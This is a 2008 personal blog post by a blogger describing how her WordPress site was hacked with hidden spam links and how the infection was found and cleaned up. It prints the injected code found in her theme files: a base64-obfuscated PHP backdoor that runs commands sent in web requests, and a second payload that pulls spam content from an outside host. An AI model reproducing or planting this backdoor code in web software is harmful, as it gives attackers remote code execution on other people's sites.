« My book is sold at the Olympic MPC! | Home | What is a library memorial? »
I was hacked (with WordPress footer Spam) but now am saved
By Jennifer 8. Lee | August 23, 2008
In poking around my blog because of layout issues, we discovered I had a bunch of spam links in my footer. Like a hundred links to latech.edu, with horrible things like cialis and viagra. About a month ago, I started noticing some very strange search queries bringing people to my site, like “pantyhose” and things I can’t write here (sexual acts, anatomy, and fluids and stuff) to my blog. I was perplexed. I didn’t use these terms. What was going on.
So today, it all became clear. Turned out I had been hacked, perhaps it had to do with some WordPress vulerability. I felt really violated.
Anyway, in my templates. I went and looked in my header.php file on WordPress I was horrified to find something that started with this
<?php eval(base64_decode(“aWYoQCRfUkVRVUVTVFsiQSJdID09ICJiIiBhbmQ…
Which is a “code” for normal text. Decoded it became this:
if(@$_REQUEST[“A”] == “b” and isset($_REQUEST[“C”])) eval(stripslashes(stripslashes($_REQUEST[“C”])));
Which totally was sketchy. I also found anther one, which I couldn’t decompress by myself
<?eval(gzuncompress(base64_decode(‘eJx1kMFqwzAMhl/FE2bEEJz0NmZCF6hp…
That came to this:
$path=”/blog”;@$s = fsockopen (“pub.supercyborg.info“,80);fputs($s,
“GET /c/check.php?ua=”.urlencode($_
HTTP/1.0\\nHost: pub.supercyborg.info\\n\\n”);while(!feof($s))
$o.=fgets($s,1000);$o=split(“\\r?\\n\\r?\\n”,$o);echo
$o[1];fclose($s);’
I removed these and the spam was still there! And also, I switched out theme, and it was still there. So it had to be in the WordPress files.
And we had just done a WordPress upgrade so all of the files had been recently updated — so we couldn’t look at timestamps to figure out which files had been touched. But you could do a search for the base64 phrase. It turned out that some of the WordPress files themselves had been infected, like wp-functions.php And then another one of my files template-functions-comments.php was the one with all the bad things in it.
(blah). But luckily I have adorable high-quality tech help which purged it for me. I’m eternally grateful!
Topics: Blogging Musings, Chinese Food | No Comments »
Comments are closed.